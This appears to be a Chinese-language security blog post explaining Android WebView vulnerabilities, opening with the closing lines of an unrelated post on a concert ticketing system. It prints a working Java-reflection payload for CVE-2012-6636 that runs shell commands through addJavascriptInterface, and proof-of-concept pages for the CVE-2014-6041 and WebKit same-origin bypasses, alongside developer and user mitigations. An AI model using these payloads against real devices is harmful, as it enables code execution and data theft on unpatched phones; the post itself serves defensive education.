希望開發者看到上面這兩個議題有掌握到『別相信客戶端』、『駭客會因網站前端寫法不嚴謹而嘗試去攻擊』的重點,提昇自家網站的安全度吧!

最後說個題外話,身為一個工程師,我認為資訊系統該帶給世界的好處是節省大家的時間,而這次搶票卻讓無數人徹夜排隊或守在電腦前不斷的『連不上、買票、失敗』循環。這也許能夠賺到大量的新聞版面,最終票也能全部賣光,但想到台灣有數十萬小時的生產力浪費在無意義的等待上,就覺得這個系統好失敗。現在的技術已經可以負荷這樣大規模的售票,KKTIX 甚至可以一分鐘處理 10 萬張劃位票券!世界在進步,過去的技術也許就該讓它留在過去。有人說:『真正幸福的人:不是搶到票,是可以像江蕙一樣選擇人生』,希望我也可以變成一個幸福的人,可以選擇一個不塞車的售票系統。

Android WebView 為你的使用者打開了漏洞之門你知道嗎?

12 October 2014 at 16:00

為了解決在應用程式中顯示網頁的需求,開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上,開發者通常也會把 WebView 處理 JavaScript 的功能打開,好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時,背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。

相關漏洞

1. 遠端代碼執行 (Remote Code Execution)

風險:木馬跳板,個資被盜

目前有機會發生 RCE 風險都圍繞在 addJavascriptInterface 這個功能上,該功能原意是為被載入的網頁和原生程式間建立一個”橋樑”,通過預先設定好的介面,讓網頁能呼叫指定的公開函式並取得函式回傳的結果。

class JsObject {
    public String toString() { return "Hello World"; }
}

webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadUrl("http://www.example.com/");
<html>
    <head><script>
       alert(injectedObject.toString()); // return "Hello World"
    </script>
    </head>
    <body></body>
</html>

像上面的例子裡,網頁能通過預先設定好的 “injectedObject” 介面,呼叫 “toString” 函式,得到 “Hello World” 這個字串。

其漏洞 CVE-2012-6636 最早在2012年12月被公佈出來,攻擊者有機會利用他通過 Java Reflection API 來執行任意代碼。影響 Android 1.X ~ 4.1。

<script>
    function execute(cmdArgs) {
        return injectedObject.getClass().forName("java.lang.Runtime")
                              .getMethod("getRuntime",null)
                              .invoke(null,null).exec(cmdArgs);
    }
    execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]);
</script>

其後 Google 在 Android 4.2 開始對 addJavascriptInterface 的使用方式加了限制,使用時需要在 Java 端把可被網頁執行的公開函式透過 @JavascriptInterface 來標註。並奉勸開發者別在 4.1 或之前的系統上使用 addJavascriptInterface

可是是否開發者只要在受影響的系統上不主動使用 addJavascriptInterface 就能解決問題呢?答案是否定的。

在 Android 3.X ~ 4.1 上,WebView 預設會用 addJavascriptInterface 添加一個叫 “searchBoxJavaBridge_” 的介面。開發者如果沒有注意的話就會同樣會讓使用者陷入風險中。很巧合地,從 Android 3.0 開始 Google 加入了 removeJavascriptInterface 函式讓開發者可以移定指定的介面。所以開發者可以使用該函式在受影響的系統上把 “searchBoxJavaBridge_” 移除。

除了 “searchBoxJavaBridge_” 外,還有兩個介面會在特定情況下被加到 WebView 中。若使用者有在手機上 [系統設定] 裡的 [協助工具],打開 [服務] 子分類中的任何一個項目,系統就會對其後建立的 WebView 自動加上 “accessibility” 和 “accessibilityTraversal”這兩個介面。這行為在 Android 4.4 由於舊版 WebView 被取代而消失了。

Android 協助工具服務

防範

作為開發者

  • 如非需要,關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料
  • 在有風險的系統中停用 addJavascriptInterface
  • 在有風險的系統中使用 removeJavascriptInterface 移除系統自帶的介面

作為使用者

  • 如非需要,關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.2 或以上不受影響的系統
  • 勿在受影響的系統上使用機敏服務或儲存機敏資料

Android 不明的來源

2. 繞過同源策略 (Same-Origin Policy bypass)

風險:個資被盜

為防止網頁在載入外部資源時引發安全問題,瀏覽器會實作同源策略以限制程式碼和不同網域資源間的互動。

其中 CVE-2014-6041 漏洞,通過程式在處理 \u0000 (unicode null byte) 時的失誤而繞過了原有的限制。

<html>
    <head>
        <title>CVE-2014-6041 UXSS DEMO</title>
    </head>
    <body>
        <iframe name="target_frame" src="http://devco.re/"></iframe>
        <br />
        <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.domain)',
'target_frame')" />
    </body>
</html>

如果上面的網頁是放置在與 http://devco.re/ 不同源的地方,正常來說點擊按鈕後會因為 SOP 的關係,該段 JavaScript 無法執行而不會有反應。但在受影響的環境裡則能順利執行並跳出 “devco.re” 這個網域名稱。

上述問題被發現後沒多久,再由相同研究員發現一個早在多年前已經被修正的 WebKit 臭蟲仍然出現在 Android 4.3 及之前的版本上。

<script>
window.onload = function()
{
    object = document.createElement("object");
    object.setAttribute("data", "http://www.bing.com");
    document.body.appendChild(object);
    object.onload = function() {
      object.setAttribute("data", "javascript:alert(document.domain)");
        object.innerHTML = "foobar";
    }
}
</script>

上述的跨來源操作同樣違反了 SOP,應當被拒絕執行。但他卻能在有風險的 WebView 上被執行,造成風險。

防範

作為開發者

  • 如非需要,關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料

作為使用者

  • 如非需要,關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.4 或以上不受影響的系統

結語

談到這裡大家可能會有個疑問,如果應用程式中所載入的遠端網頁網址都是固定,受開發者控制的,應該就會安全沒有風險。還記得在 被忽略的 SSL 處理 裡提及過的中間人攻擊嗎?如果連線過程是採用明文的 HTTP ,或是加密的 HTTPS 但沒落實做好憑證檢查,內容就有機會被攻擊者竊取修改,再結合上面提到的漏洞,對使用者帶來的影響則大大增加。

下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞,模擬使用者手機被入侵的影片:

從影片的最後可以看到,攻擊者取得存在漏洞的應用程式權限,並取得裡面的機敏資料。

而在繞過同源策略問題上,無論是透過 null byte 或是設定屬性來達到,其實都是屬於存在已久的手法,多年前在別的平台、瀏覽器上就已經發生過,除了編寫上的疏忽外,缺乏一個完整的測試流程去做檢查相信也是其中一個原因。

Android 的生態系統問題,使得大多數的使用者手機未能跟得上系統更新的步驟,讓他們即使知道自己所使用系統存在問題也愛莫能助。

作為開發商,應需要在系統支援度與其相應存在的安全風險中取得平衡,來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者,應為已被公開的漏洞做好應對措施,避免使用者暴露在風險當中。

參考

❌
❌